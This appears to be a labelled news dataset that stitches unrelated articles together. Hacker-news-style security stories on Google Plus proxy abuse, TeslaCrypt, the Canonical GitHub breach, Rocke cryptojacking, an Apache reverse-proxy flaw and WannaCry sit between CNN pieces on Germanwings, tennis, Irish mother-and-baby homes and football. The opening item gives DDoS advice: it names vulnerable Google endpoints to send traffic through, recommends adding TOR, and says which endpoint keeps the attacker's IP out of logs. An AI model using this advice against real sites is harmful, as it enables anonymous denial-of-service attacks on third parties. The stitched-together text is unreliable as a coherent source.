On the IHTeam Security Blog, Simone Quatrini, demonstrates how users can make Google's servers act as a proxy to fetch content on their behalf.
Quatrini has written a shell script that will repeatedly prompt Google's servers to make requests to a site of the attacker's choice, effectively using Google's bandwidth rather than their own, in an effort to prevent it from functioning.
The advantage of using Google and make requests through their servers, is to be even more anonymous when you attack some site (TOR+This method) and the funny thing is that apache will log Google IP addresses.
But beware: gadgets/proxy? will send your ip in apache log, if you want to attack, you'll need to use /_/sharebox/linkpreview/.
WORKING
Using vulnerable pages i.e. "/_/sharebox/linkpreview/" and "gadgets/proxy?", it is possible to request any file type from the external source, and Google Plus servers will download it to show the content. So, if you parallelize so many requests at same time, it will be possible to perform a significant DDoS attack against any website with Google's bandwidth.
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Story highlightsInvestigators believe Andreas Lubitz deliberately crashed Germanwings Flight 9525, killing himself and 149 othersLubitz suffered from anxiety and depression symptoms dating back to 2009, French newspaper reportedDoctor: It's 'rare for depression to cause people to kill other people' (CNN)Barring a revelation from his parents or girlfriend, we may never know what was going through the mind of Andreas Lubitz in the moments leading up to the crash of Germanwings Flight 9525.What we now know is that all indications point to Lubitz as the perpetrator of the crash, locking the pilot out of the cockpit and setting the aircraft on a fatal trajectory into a remote mountain range in the French Alps.Every day, more details come to light, as the world struggles to make sense of why a 27-year-old German man would apparently choose to deliberately crash a plane with 150 people on board, including himself -- and remain so calm while doing it.'Unfit to work'When investigators searched Lubitz's home in Dusseldorf, they found medical leave notes "slashed," suggesting Lubitz was hiding an illness or illnesses from his employers.Read MoreThe dates for which Lubitz was excused from work included the day of the crash, though investigators have not yet revealed the reason he was excused, if any reason was written on the notes by his doctor.We do know, from a German aviation source, that Lubitz passed his annual pilot recertification examination last summer.An official with Lufthansa, the parent company of the budget airline Germanwings, said that the exam only tests physical health, not psychological health."He was 100% fit to fly without restrictions," Lufthansa CEO Carsten Spohr told reporters at press conference last week. "His flight performance was perfect. There was nothing to worry about."Spohr added that Lubitz had "interrupted" his training, which he began in 2008. That break lasted several months, he said, but that such an interruption isn't uncommon.Lubitz suffered from "generalized anxiety disorder," with severe depression symptoms dating back to 2009, according to French newspaper Le Parisien.While the main medical clinic in Dusseldorf denies it was treating Lubitz for depression, German investigators found antidepressant medications in Lubitz's apartment, according to published reports that CNN has not yet been able to independently confirm.Die Welt, a German newspaper, over the weekend cited an unidentified senior investigator, who said Lubitz suffered from "severe subjective burnout syndrome" and severe depression.More on the medications"Someone who has a significant depressive episode or depressive disorder will oftentimes get an antidepressant alone, and many times will have a good resolution of those symptoms," CNN Chief Medical Correspondent Dr. Sanjay Gupta told Poppy Harlow Sunday on "CNN Newsroom." "People who relapse or develop more of what is called a psychotic depression in addition may have symptoms of psychosis. Maybe they could be having delusions or hallucinations, but the idea is having breaks with reality."One of the medications Lubitz was prescribed is said to be Agomelatine (an antidepressant medication), according to Le Perisien.Antidepressants can sometimes make people suicidal, especially those suffering from schizophrenia and bipolar disorder. Other times, they can make patients manic or psychotic.The drug's list of warnings and precautions include metabolic changes -- such as weight gain -- and the potential for cognitive and motor impairment. "Has potential to impair judgment, thinking and motor skills; use caution when operating machinery."In 2010, Lubitz received Olanzpine injections (an antipsychotic medication) "to treat OCD," according to Le Perisien. Doctors advised Lubitz to be more active, practice a new sport and regain self-confidence."This is a powerful medication," said Gupta. "If this is true, it sort of reads into the severity of just how bad the psychosis was, at least at one point in his life."There are other things besides psychosis for which the drug may be administered, but that's the most common use. One of the side effects is blurred vision.Citing two officials with knowledge of the investigation, The New York Times Saturday reported that Lubitz sought treatment for vision problems that might have put his career at risk.If he was prescribed this medication as an injectable five years ago, was now taking it as an oral antipsychotic and wasn't taking it because of it was causing these detrimental side effects, "that could be very concerning, as well," said Gupta.Authorities have not ruled out that Lubitz's vision problem could have been psychosomatic.Can experts explain his behavior?Many people have been asking how likely it is that depression could result in this sort of horrific action.In a word: "Unlikely," says Dr. Charles Raison, a professor of psychiatry at the University of Arizona."Most people would just kill themselves," he says. "It's very, very rare for depression to cause people to kill other people. This leads me to believe there's something else going on, like a personality character flaw."Forensic psychologist Jeff Gardere agrees."It has to be a very severe depression to the point that there's a psychosis that's a result of that depression," he says. "That's different than the schizophrenia part of psychosis. With this kind of depression, it's so deep that you actually break with reality."Remember, Lubitz was in his late 20s -- and the odds of mental illness presenting at this age are much higher for someone in their 20s or 30s."Sometimes people lose touch with reality slowly. Other times, they lose touch really quickly," says Raison. "Bipolar psychotic states can develop in as little as a day or two. I'm most curious what was going on in this guy's life the week before this happened. Did anyone see any changes with his behavior? Did he stop sleeping? There's a pretty good chance something would come up in speaking with the people in his life.""If a story doesn't make sense, it means you don't have the real story," says Raison. "Even people who are psychotic will tell you a crazy story. It's crazy, but it makes sense."More details are needed on Lubitz's story.'Robotic and calm'Perhaps the most chilling revelation so far is that Lubitz not only decided to do what he did, but that he ignored the pilot's pleas to think about the lives on board and change his mind."It tells you he's at peace with what he's doing," says Raison. "If you were uncertain or anxious, you might still open the cabin door (when the pilot was banging on the door and yelling to be let in). Calm determination to do this tells you he really believed in what he was doing.""If you look at school shooters, they go into a dissociative state," says Gardere. "They've been planning for quite some time. They go into this personality where they can calmly go into murder mode -- robotic and calm. Even when they're shooting or doing something rageful, they behave in a calm manner. (Lubitz) knew when he got onto that plane that he wasn't coming back."World weighs inOn Monday, Britain's most senior psychiatrist told CNN's Christiane Amanpour that when a pilot is "acutely depressed or suffering from... any mental illness" that impairs his or her ability to fly, he or she cannot fly an aircraft."We don't let pilots fly with depression, not because we're worried that they're going to murder everybody on board. That's such an extraordinary possibility that -- that's not depression -- but because they're impaired in concentration, memory and attention, which isn't good for a pilot," said Sir Simon Wessely, president of the Royal College of Psychiatrists and an adviser to the British army.Wessely added that the Germanwings plane crash might open a discussion on "relaxing the laws of (doctor-patient) confidentiality in different countries," though in the United Kingdom, as well as in many other countries, a doctor is obliged to go to the authorities if he or she believes that people are genuinely being put at risk by one of their patients.CNN's John Bonifield contributed to this report. | 0 |
Here's some good news for victims who are trying to unlock and remove TeslaCrypt ransomware.
Now, you can decrypt all your important files that have been encrypted by TeslaCrypt ransomware.
So, stop Googling about How to decrypt TeslaCrypt Ransomware encrypted files, as the malware authors themselves provided the solution to your problem.
Since its launch in March last year, TeslaCrypt computer virus has been used in massive malvertising attacks. The ransomware, which often targets PC gamers, locks up files until a ransom is paid, usually $500 in Bitcoin. Infection generally comes through corrupted websites, malvertising or phishing emails.
In a surprising move in the malware's story, the cybercriminals behind the nefarious TeslaCrypt ransomware have apparently shut down their operations and released a master key to the public that can unlock all encrypted files on PCs infected by the latest versions of TeslaCrypt.
The icing on the cake is that the universal decryption key is free, so victims can decrypt their files without paying a single penny.
Here's what one of the developers of TeslaCrypt posted on the TeslaCrypt Dark Website:
"Project closed! Master key for decrypt: 440A241DD80FCC5664E861989DB716E08CE627D8D40C7EA360AE855C727A49EE. Wait for other people make universal decrypt software. We are sorry!"
The above note was prompted by a query from an ESET security researcher, who had noticed the successive downfall of TeslaCrypt and asked the authors for a decryption key.
The authors offered a free master key in an entirely surprising move and ESET quickly created a Free Ransomware Decryptor tool for TeslaCrypt, which is available for download from the ESET website.
How to Use Master Ransomware Decryption Key
Using the master key, security researcher has created a decryptor tool that is available for download, with detailed instructions, from the ESET website.
Bleeping Computer has also released another TeslaCrypt ransomware decryptor tool, dubbed TeslaDecoder, with a much easy-to-use interface.
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(CNN)Polish teenager Iga Swiatek says support from a sports psychologist was a key factor in helping her to win the French Open final on Saturday. The 19-year-old became the first player from Poland to win a grand slam singles title after beating No. 4 seed Sofia Kenin, 6-4 6-1. Swiatek was unseeded at Roland Garros and, despite feeling confident ahead of the season, hadn't been playing her best in the build up to the tournament.However, she showed nerves of steel in storming to victory, becoming the first female to win the French Open without dropping a set since Justine Henin in 2007. It was a turnaround in fortunes she partly credits to working with sports psychologist Daria Abramowicz, who watched the final from the player's box. Read MoreThe pair have worked together for almost two years and Swiatek has been open about working hard on her mental game."It's a long process," Swiatek told CNN Sport. "It helped me during the whole tournament especially after coming back from Covid break."We did great work the last few weeks to lower my expectations and come back to basics and just focus on having fun on court."She helped me a lot during that process but also she's helping me develop as a person and as a player."READ: Nadal beats Djokovic at French Open for record tying 20th majorIga Swiatek celebrates winning the French Open in Paris.'Couldn't believe it'Abramowicz travels to major tournaments with the teenager but also works with elite athletes from many of Poland's national teams. Speaking to the WTA in September, she said the younger generation of sports stars appear more comfortable when talking about their mental health."With Iga [Swiatek] I really appreciate that she's so aware at this younger age," said Abramowicz. "I do appreciate that a lot and I respect it a lot as well."Swiatek served up the perfect birthday present for her mind mentor on Saturday, with Abramowicz tweeting her congratulations after the match. "It's simply the best birthday gift of my life," she wrote on Twitter.Despite boasting an impressive junior career -- Swiatek won the 2018 Wimbledon juniors -- victory in Paris was certainly not expected at this stage of her career. Her expression after winning championship point showed just how surprised she was. "I just couldn't believe it," she said. "Playing good tennis, winning grand slams seemed so distant to me, so achieving that is kind of a weird feeling and I just couldn't believe it."Swiatek pinpointed her fourth-round victory over Simona Halep as a key turning point for the Pole at the French Open. Halep was in great form and was fully expected to progress past her teenage opponent but Swiatek brushed the Romanian aside in little over an hour. "Before I had a problem with playing under pressure because I felt great in practices and then, in a match, suddenly my tennis was a little bit worse," said Swiatek."But in this tournament, I finally realized that I can do it and I just need to be mentally prepared and have a proper mindset. "I never really felt that I was really going to win the tournament because I knew, in the final, I was going to play against a great champion."When I realized that I was thinking about winning the tournament I tried to push those thoughts away and just focus on working because I think it would stress me."READ: Tennis players complain about new balls at French Open View this post on Instagram Speechless... #teamSwiatek #rolandgarros #polandgarros A post shared by Daria Abramowicz (@abramowiczdaria) on Oct 10, 2020 at 12:50pm PDT 'She inspired me'Swiatek says she struggled to sleep the night after lifting the trophy and has been overwhelmed by the messages of support she has received. Beaten men's finalist Novak Djokovic and Polish soccer star Robert Lewandowski are now two of her most high-profile fans, while Noami Osaka was tweeting her support throughout the finalThe pair have become close on tour and Swiatek says the two-time grand slam champion has been a constant source of inspiration during her fledgling career. "She inspired me even before we met because she was one of the girls that won a grand slam when she was an underdog," she said."I'm really glad we're texting sometimes because it's really nice to have someone who's so experienced and someone who can really help prepare you."READ: Serena Williams withdraws from French Open with Achilles injuryNaomi Osaka has become friends with Swiatek on tour. Father's influenceSport runs through Swiatek's family, with her father representing Poland in rowing at the 1988 Seoul Olympics.He was in Paris to watch his daughter lift the trophy and the pair celebrated with the rest of the family in the player's box moments after victory was sealed. "I think we're always focused on work because of him because he had high expectations that we were going to get good grades and we were going to have good practices," she said, speaking of her father's influence. "Sometimes these expectations are not a good thing because they are pressure for a child but in my case, I think it really helped me because I learned how to be professional."My sister got injured when she was 15 and she stopped playing tennis but she has a great brain and she is studying really well so I think we're both going to be successful."Even after winning the French Open, Swiatek hasn't entirely forgotten her studies either.The teenager has taken a gap year out from her academic pursuits but says she hasn't ruled out heading to university at some point in the future. "I think I have a lot to learn about certain aspects of life," she said. "At some point my brain is going to need something other than tennis. But I know being a tennis player means I'll be busy." | 0 |
An unknown hacker yesterday successfully managed to hack into the official GitHub account of Canonical, the company behind the Ubuntu Linux project and created 11 new empty repositories.
It appears that the cyberattack was, fortunately, just a "loud" defacement attempt rather than a "silent" sophisticated supply-chain attack that could have been abused to distribute modified malicious versions of the open-source Canonical software.
In a statement, David from Canonical confirmed that attacker(s) used a Canonical owned GitHub account whose credentials were compromised to unauthorizedly access Canonical's Github account.
"We can confirm that on 2019-07-06 there was a Canonical owned account on GitHub whose credentials were compromised and used to create repositories and issues among other activities," David said.
"Canonical has removed the compromised account from the Canonical organization in GitHub and is still investigating the extent of the breach, but there is no indication at this point that any source code or PII was affected."
David also confirmed that since the company now uses Launchpad hosting platform to build and maintain Ubuntu distributions, unauthorized changes on its Github account doesn't affect its popular and widely-used Linux operating system and its million of users.
"Furthermore, the Launchpad infrastructure where the Ubuntu distribution is built and maintained is disconnected from GitHub, and there is also no indication that it has been affected," David added.
"We plan to post a public update after our investigation, audit, and remediations are finished. Thank you, your trust in Canonical is important to us, which is why we take privacy and security a priority."
The company is currently reviewing the source code available on GitHub to investigate the extent of the breach and have promised to share more details about the incident shortly.
Last year, GitHub account of Gentoo Linux distribution was also hacked using password-guessing attack, and attackers successfully managed to replace the content of its repositories and pages with malware.
Stay tuned for more information on this incident.
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A financially-motivated threat actor notorious for its cryptojacking attacks has leveraged a revised version of their malware to target cloud infrastructures using vulnerabilities in web server technologies, according to new research.
Deployed by the China-based cybercrime group Rocke, the Pro-Ocean cryptojacking malware now comes with improved rootkit and worm capabilities, as well as harbors new evasion tactics to sidestep cybersecurity companies' detection methods, Palo Alto Networks' Unit 42 researchers said in a Thursday write-up.
"Pro-Ocean uses known vulnerabilities to target cloud applications," the researchers detailed. "In our analysis, we found Pro-Ocean targeting Apache ActiveMQ (CVE-2016-3088), Oracle WebLogic (CVE-2017-10271) and Redis (unsecure instances)."
"Once installed, the malware kills any process that uses the CPU heavily, so that it's able to use 100% of the CPU and mine Monero efficiently."
First documented by Cisco Talos in 2018, Rocke has been found to distribute and execute crypto-mining malware using a varied toolkit that includes Git repositories and different payloads such as shell scripts, JavaScript backdoors, as well as portable executable files.
While prior variants of the malware banked on the capability to target and remove cloud security products developed by Tencent Cloud and Alibaba Cloud by exploiting flaws in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion, Pro-Ocean has expanded the breadth of those attack vectors by aiming at Apache ActiveMQ, Oracle WebLogic, and Redis servers.
Besides its self-spreading features and better hiding techniques that allow it to stay under the radar and spread to unpatched software on the network, the malware, once installed sets about uninstalling monitoring agents to dodge detection and removing other malware and miners from the infected systems.
To achieve this, it takes advantage of a native Linux feature called LD_PRELOAD to mask its malicious activity, a library named Libprocesshider to stay hidden, and uses a Python infection script that takes the machine's public IP to infect all machines in the same 16-bit subnetwork (e.g., 10.0.X.X).
Pro-Ocean also works to eliminate competition by killing other malware and miners, including Luoxk, BillGates, XMRig, and Hashfish, running on the compromised host. In addition, it comes with a watchdog module written in Bash that ensures persistence and takes care of terminating all processes that utilize more than 30% of the CPU with the goal of mining Monero efficiently.
"This malware is an example that demonstrates that cloud providers' agent-based security solutions may not be enough to prevent evasive malware targeted at public cloud infrastructure," Unit 42 researcher Aviv Sasson said. "This sample has the capability to delete some cloud providers' agents and evade their detection."
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(CNN)Thousands of babies and children died in 18 of Ireland's mother and baby homes -- church-run institutions where unmarried women were sent to deliver their babies in secret, often against their will -- over eight decades, according to a landmark report.On Tuesday, the Commission of Investigation into Mother and Baby Homes and Certain Related Matters -- which was set up to investigate what happened in 14 mother and baby homes and four county homes from 1922 to 1998 -- announced the 9,000 deaths as part of the final findings of its near six-year inquiry.Around 56,000 people -- from girls as young as 12, to women in their 40s -- were sent to the 18 institutions investigated, where some 57,000 children were born, according to the report.One in seven of those children (15%) didn't survive long enough to leave the homes, yet no alarm was raised by the State over the high mortality rates, even though it was "known to local and national authorities" and was "recorded in official publications," the report found. Prior to 1960, mother and baby homes "did not save the lives of 'illegitimate' children; in fact, they appear to have significantly reduced their prospects of survival," it said. Read MoreThe report called the infant mortality rates the most "disquieting feature of these institutions."Ireland's mother and baby home survivors have spent decades fighting for the truth. They can finally see an end in sight Speaking on Tuesday, Taoiseach Micheál Martin said that the report "opens a window onto a deeply misogynistic culture in Ireland over several decades," and that the report "reveals significant failures of the state and of society."Martin formally apologized to the survivors of the homes on Wednesday, for the "profound generational wrong" visited upon them. Speaking in the Irish parliament, he said the report was a "moment for us as a society, to recognize a profound failure of empathy, understanding and basic humanity, over a very lengthy period.""I want to emphasize that each of you were in an institution because of the wrongs of others, each of you is blameless," Martin said, addressing the survivors.The report, which runs to more than 2,800 pages, was released just days after its key findings were leaked to a national newspaper -- compounding the pain and anguish of survivors who have waited years for the final report -- and who had been promised a first view of it by the Minister of Children. In his apology, Martin also discussed the role of conservative religion in the scandal. The Catholic Church and institutions associated with it are highly influential in Ireland.The Taoiseach said the most striking thing revealed in the report was the "shame felt by women who became pregnant, outside of marriage" in the country."We embraced the perverse religious morality and control, judgementalism and moral certainty but shunned our daughters," Martin said.He added that Irish society at the time had a "completely warped attitude to sexuality and intimacy" for which "young mothers and their sons and daughters" were "forced to pay the price."Martin also said that the conservative Catholic values of the time did "not diminish the responsibility of churches and state for the failures laid bare." "The state's duty of care was not upheld," he said, addressing survivors. "The state failed you, mothers, and children in these homes."Susan Lohan, co-founder of the Adoption Rights Alliance and a member of a dedicated survivors group appointed to advise the government, told CNN on Tuesday that the leaked extracts of the report, seen on Sunday, show that the Irish government may seek to "trivialize" the human rights abuses that took place on a "massive scale" inside of these homes. Survivor Philomena Lee, who spent years searching for the son she was forced to give up for adoption said in a statement on Sunday that she had "waited decades for this moment -- the moment when Ireland reveals how tens of thousands of unmarried mothers, such as I, and the tens of thousands of our beloved children, such as my dear son Anthony, were torn asunder, simply because we were unwed at the moment our children were born."Sean Ross Abbey in Roscrea, Tipperary, which operated as a mother and baby home from 1930 to 1970.During her time at the Sean Ross Abbey mother and baby home, Lee said that she was "deprived" of her liberty, independence and autonomy, and was "subject to the tyranny of the nuns," who told mothers daily that they were to atone for their sins by "working for our keep and surrendering our children to the nuns for forced adoption."Lee, whose story was told in an Oscar-nominated movie starring Judi Dench, added that she was "taunted" by the nuns during a difficult labor, who she says told her that the "pain was a punishment for my promiscuity."The commission's final report reported that this practice was not unusual. For many survivors and advocate groups, there is concern that the report fails to vindicate their experience.Lohan told national broadcaster RTE that the institutions were a "form of social engineering," and that the "state and church worked in concert to ensure that women -- unmarried mothers and girls who were deemed to be a threat to the moral tone of the country" were "incarcerated behind these very high walls to ensure that they would not impact or offend public morality."On Tuesday, Minister for Children, Equality, Disability, Integration and Youth Affairs Roderic O'Gorman said: "The report makes clear that for decades, Ireland had a stifling, oppressive and brutally misogynistic culture, where a pervasive stigmatization of unmarried mothers and their children robbed those individuals of their agency and sometimes their future."For many people, Martin's official apology is not enough.Lohan told CNN on Tuesday that she disagrees with a state apology, saying that no apology should be issued until survivors have had a chance to read and digest the Commission's findings, which could take many weeks. A memorial at the former site of the Tuam Home in County Galway, where the bodies of hundreds of babies who died there were put into a decommissioned sewage tank.
She also suggested that an apology should be the first of a series of several, noting that the commission's investigations only covered 18 institutions, while some 180 sites were part of a system that facilitated child neglect, premature death, forced adoptions, enforced disappearances, enforced labor, the stripping of identities, the falsification of state documents and the forging of mothers' consents. The report does not appear to fully address the allegations of forced or illegal adoptions, only stating that "many allegations have been made that large sums of money were given to the institutions and agencies in Ireland that arranged foreign adoptions. Such allegations are impossible to prove and impossible to disprove."Lee also underlined the role that other state-run and private institutions played, saying in her statement that she "can only hope" that the authors of the report recognize that "those of us who were detained against our will ... and who gave birth there, are not all of the mothers nor all of the children who have suffered."Tens of thousands went through other state-run hospitals and private institutions and "suffered the same fate," she said.Having since had a brief glimpse of the report's summary on Tuesday, Lohan said that survivors were left feeling underwhelmed by the apparent lack of attention to the major topics and that some survivors felt their evidence had been disbelieved as the Commission had dismissed certain allegations, citing lack of evidence. The question as to why the homes were established in the first place appears to have been glossed over, some advocate groups said, undercutting the trauma endured by mothers and their children.While the report documented the testimony of women who detailed torture and beatings, it said that "there is no doubt that women in mother and baby homes were subjected to emotional abuse but there is very little evidence of physical abuse and no evidence of sexual abuse."Mary Harney, who was born in the Bessborough home and was later sent to an industrial school in Cork, said a first read of its findings had left her feeling that the report was "for the most part, in favor of the perpetrators."For decades, Ireland's mother and baby homes were shrouded in secrecy. Some say the veil still hasn't lifted"They say that the conditions in the homes were bad -- and they pick out various homes -- but they say overall there was no evidence of systematic abuse," Harney said. She points out that consistent issues at Bessborough were known to health authorities -- the report itself says "successive inspections" of the home "revealed major shortcomings.""What would it take (for them) to classify something as gross abuse?" she asked. The report also does not appear to address the testimony of some survivors who have said that senior members of the Catholic Church forced them to enter the homes, in addition to their family members."There is no evidence that women were forced to enter mother and baby homes by the church or State authorities. Most women had no alternative," it said, also stating that "it must be acknowledged that the institutions under investigation provided a refuge -a harsh refuge in some cases -when the families provided no refuge at all."In a statement released by Archbishop Eamon Martin on Tuesday evening, he said: "I accept that the Church was clearly part of that culture in which people were frequently stigmatized, judged and rejected." He apologized to survivors and those impacted for the "long-lasting hurt and emotional distress that has resulted."Speaking to reporters on Tuesday, Micheál Martin said that "in principle I think the religious orders concerned should make a contribution" to a proposed redress scheme.On Wednesday he also acknowledged that an official apology "on its own is not enough," adding that the Irish government "will be judged by our actions." 'Destroyed' recordsIn addition to the report's public release on Tuesday, O'Gorman also brought forward legislation to advance the "burials legislation" to "support the excavation, exhumation and, where possible, identification of remains, and their dignified reburial" at the site in Tuam, County Galway, which was first identified by local historian Catherine Corless, whose tireless work in 2014 was the catalyst for the commission's launch. The legislation will also apply to "any other site where intervention is reasonably required," according to the Ministry of Children and Youth Affairs.Some 973 children died at, or near, the Tuam mother and baby home, according to the commission, which revealed that some of their remains had been found inside a decommissioned sewage tank.Only 50 records of burials at Tuam have been located; others "may have been lost or destroyed over the years," according to a March 2019 interim report.The names of some of the 796 children who died at the Tuam home are seen at a memorial in County Galway in 2019.
Other interim reports, of which there are seven, have detailed further details of the horrific circumstances that mothers and their children faced inside these institutions. A total of 900 babies born at or admitted to hospitals near County Cork's Bessborough home died in infancy or early childhood.In 1944, infant mortality rates at the Bessborough home peaked at 82%. Only 64 of those 900 babies' graves have ever been located. The report said that at the Bethany home, which was founded by a Protestant evangelical group, 62% of children born in 1943 died within the first year of their lives. The commission also found that between 1920 and 1977, the bodies of more than 950 children who had died in some of the homes were sent to university medical schools for "anatomical studies." Restricted accessWhile the release of the final report closes a chapter on the commission's work, survivors' rights groups say their work is not over.Survivors have long hoped that the commission would reveal more about allegations of arbitrary detention, cruelty and neglect, forced adoption and vaccine trials that went on inside the homes, as well as hold wrongdoers to account.And crucially, they also hoped it would help them to access their personal records, including information about missing relatives and babies buried in unmarked graves.In October, the government passed a law promising to seal the commission's archive from survivors and the public for 30 years. Days later, the government changed its position, saying survivors of the homes were legally entitled to access their personal data.Critics of the law had successfully argued that sealing the commission's records was illegal under the General Data Protection Regulation (GDPR), an EU directive which gives individuals the right to access their data. An Irish daughter seeks to end shame of her secret adoptionNow, survivors' rights groups are warning that the government -- and state agencies including the child and family agency, Tusla -- are still restricting survivors' access to their own records.In a statement to CNN, Tusla put the issue of access back on the government, saying that "the absence of legislation to deal with the provision of information will continue to be a source of great anxiety for people, and the resolution of this issue is beyond the reach of Tusla.""We recognize the hurt and trauma experienced by those who are affected by the Commission's report into Mother and Baby Homes, that are understandably searching their identity," the statement said.Martin confirmed Wednesday that the Irish government "is committed to introducing information and facing legislation as a priority" which will facilitate access to records."To confront the dark and shameful reality, which is detailed in this report we must acknowledge it as a part of our national history," he said Wednesday.In the meantime, the agency is still routinely denying survivors -- particularly adopted people -- access to their own personal information, their birth certificates, their identities, and even their ethnicities, Lohan says."These abuses, they didn't end in 1998 when the last of the dreadful places closed." Correction: This story has been updated to reflect that several public statements about the report were released on Tuesday, not Wednesday.Niamh Kennedy and Zamira Rahim contributed to this report. | 0 |
Story highlightsGerardo Martino appointed as new manager of BarcelonaMartino has signed a two-year deal at Camp NouHas previously managed Newell's Old Boys and Paraguay national teamReplaces Tito Vilanova who left his role to continue his fight against cancerGerardo "Tata" Martino's the name -- and putting Barcelona back at the top of Europe's elite is the game.Martino, 50, signed a two-year deal with the Spanish champions Tuesday after agreeing a move to Camp Nou to replace the recently departed Tito Vilanova.The Argentine, who hails from Rosario, the same city as Barca star Lionel Messi, led Newell's Old Boys to the Clausura last season as well as to the semifinal stage of the Copa Libertadores.Messi has been outspoken in his praise of Martino in the past and is likely to welcome the arrival of his fellow countryman.Speaking to Olé last year, Messi said: "I like Martino, he's an amazing coach and you could see in the Clausura what he did for the team, the manner in which he finished and how he achieved it."He found the team, he made it play well and everyone respects him."JUST WATCHEDCarlos Tevez: Man City pressure too muchReplayMore Videos ...MUST WATCHCarlos Tevez: Man City pressure too much 03:19JUST WATCHEDTour Brazilian football's spiritual homeReplayMore Videos ...MUST WATCHTour Brazilian football's spiritual home 02:24JUST WATCHEDFootball continues as Brazilians protestReplayMore Videos ...MUST WATCHFootball continues as Brazilians protest 02:18Martino has spent much of his career coaching in Paraguay where he won four domestic titles during his time with Libertda and Cerro Porteno.He led the Paraguay national team to the quarterfinals of the 2010 World Cup in South Africa where it was beaten by eventual champion Spain, while it also qualified for the final of the Copa America 12 months later.Martino has won praise from fellow Argentine Messi in the past and is a disciple of former Atletico Bilbao coach Marcelo Bielsa.Read: Vilanova steps down as Barcelona coachMartino replaces Vilanova, who stood down as coach earlier in July after revealing he required further treatment in his fight against cancer.Vilanova, 44, led Barcelona to the La Liga title last season after taking over from Pep Guardiola in June 2012 despite originally being diagnosed with throat cancer in November 2011.The Spaniard missed nearly three months of last season while undergoing chemotherapy and radiotherapy in New York before returning in March to help the club claim the title.But defeat against Bayern Munich in the Champions League semifinals put an end to the dream of a prestigious double.Vilanova had hoped to preside over another season but his ill health meant that he was unable to continue."It was a very hard blow," Barcelona captain Carles Puyol told a press conference when asked about Vilanova's departure."Nobody expected it. The team has been left very affected. The news we have received is very difficult, but this is an illness and the person is the most important."Tito is very much in the thoughts of those in the dressing room. He spoke to us and calmed us. He asked us to continue to fight as he would do." | 0 |
New Apache Reverse Proxy Flaw Allows Access to Internal Network
Apache acknowledged another reverse proxy issue (CVE-2011-4317) which was discovered by Apache developer from Red Hat while creating a QualysGuard vulnerability signature for an older problem CVE-2011-3368. Depending on the reverse proxy configuration, the vulnerability could allow access to internal systems from the Internet.
In order to set up Apache HTTPD to run as a reverse proxy, server administrators use specialized modules like mod_proxy and mod_rewrite. Apache developers are working on a fix of a flaw in its web server software that creates a possible mechanism to access internal systems.The zero-day vulnerability only rears its ugly head if reverse proxy rules are configured incorrectly and is far from easy to exploit, but it is nonetheless nasty.
The problem isn't new and a vulnerability that allowed similar attacks was addressed back in October. However, while reviewing the patch for it, Qualys researcher Prutha Parikh realized that it can be bypassed due to a bug in the procedure for URI (Uniform Resource Identifier) scheme stripping. The scheme is the URI part that comes before the colon ":" character, such as http, ftp or file.One relatively common rewrite and proxying rule is "^(.*) https://internal_host$1", which redirects the request to the machine internal_host. However, if this is used and the server receives, for example, a request for "host::port" (with two colons), the "host:" part is stripped and the rest is appended to https://internal_host in order to forward it internally.The problem is that in this case, the remaining part is ":port", therefore transforming the forwarded request into https://internal_host:port, an unintended behavior that can result in the exposure of a protected resource.In order to mitigate the problem server administrators should add a forward slash before $1 in the rewrite rule, the correct form being "^(.*) https://internal_host/$1", Parikh said.
Parikh has published a detailed explanation of the flaw alongside proof of concept code in a post on the Qualys blog here. A possible patch for the vulnerability was suggested by an Apache developer from Red Hat on Wednesday but has yet to be fully tested.
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Update — After reading this article, if you want to know, what has happened so far in past 4 days and how to protect your computers from WannaCry, read our latest article "WannaCry Ransomware: Everything You Need To Know Immediately."
If you are following the news, by now you might be aware that a security researcher has activated a "Kill Switch" which apparently stopped the WannaCry ransomware from spreading further.
But it's not true, neither the threat is over yet.
However, the kill switch has just slowed down the infection rate.
Updated: Multiple security researchers have claimed that there are more samples of WannaCry out there, with different 'kill-switch' domains and without any kill-switch function, continuing to infect unpatched computers worldwide (find more details below).
So far, over 237,000 computers across 99 countries around the world have been infected, and the infection is still rising even hours after the kill switch was triggered by the 22-years-old British security researcher behind the twitter handle 'MalwareTech.'
Also Read — Google Researcher Finds Link Between WannaCry Attacks and North Korea.
For those unaware, WannaCry is an insanely fast-spreading ransomware malware that leverages a Windows SMB exploit to remotely target a computer running on unpatched or unsupported versions of Windows.
So far, Criminals behind WannaCry Ransomware have received nearly 100 payments from victims, total 15 Bitcoins, equals to USD $26,090.
CLICK TO TWEET
Once infected, WannaCry also scans for other vulnerable computers connected to the same network, as well scans random hosts on the wider Internet, to spread quickly.
The SMB exploit, currently being used by WannaCry, has been identified as EternalBlue, a collection of hacking tools allegedly created by the NSA and then subsequently dumped by a hacking group calling itself "The Shadow Brokers" over a month ago.
"If NSA had privately disclosed the flaw used to attack hospitals when they *found* it, not when they lost it, this may not have happened," NSA whistleblower Edward Snowden says.
Kill-Switch for WannaCry? No, It's not over yet!
In our previous two articles, we have put together more information about this massive ransomware campaign, explaining how MalwareTech accidentally halted the global spread of WannaCry by registering a domain name hidden in the malware.
hxxp://www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
The above-mentioned domain is responsible for keeping WannaCry propagating and spreading like a worm, as I previously explained that if the connection to this domain fails, the SMB worm proceeds to infect the system.
Fortunately, MalwareTech registered this domain in question and created a sinkhole – tactic researchers use to redirect traffic from the infected machines to a self-controlled system. (read his latest blog post for more details)
Updated: Matthieu Suiche, a security researcher, has confirmed that he has found a new WannaCry variant with a different domain for kill-switch function, which he registered to redirect it to a sinkhole in an effort to slows down the infections.
hxxp://ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com/
The newly discovered WannaCry variant works exactly like the previous variant that wreaked havoc across the world Friday night.
But, if you are thinking that activating the kill switch has completely stopped the infection, then you are mistaken.
Since the kill-switch feature was in the SMB worm, not in the ransomware module itself., "WannaCrypt ransomware was spread normally long before this and will be long after, what we stopped was the SMB worm variant," MalwareTech told The Hacker News.
You should know that the kill-switch would not prevent your unpatched PC from getting infected, in the following scenarios:
If you receive WannaCry via an email, a malicious torrent, or other vectors (instead of SMB protocol).
If by chance your ISP or antivirus or firewall blocks access to the sinkhole domain.
If the targeted system requires a proxy to access the Internet, which is a common practice in the majority of corporate networks.
If someone makes the sinkhole domain inaccessible for all, such as by using a large-scale DDoS attack.
MalwareTech also confirmed THN that some "Mirai botnet skids tried to DDoS the [sinkhole] server for lulz," in order to make it unavailable for WannaCry SMB exploit, which triggers infection if the connection fails. But "it failed hardcore," at least for now.
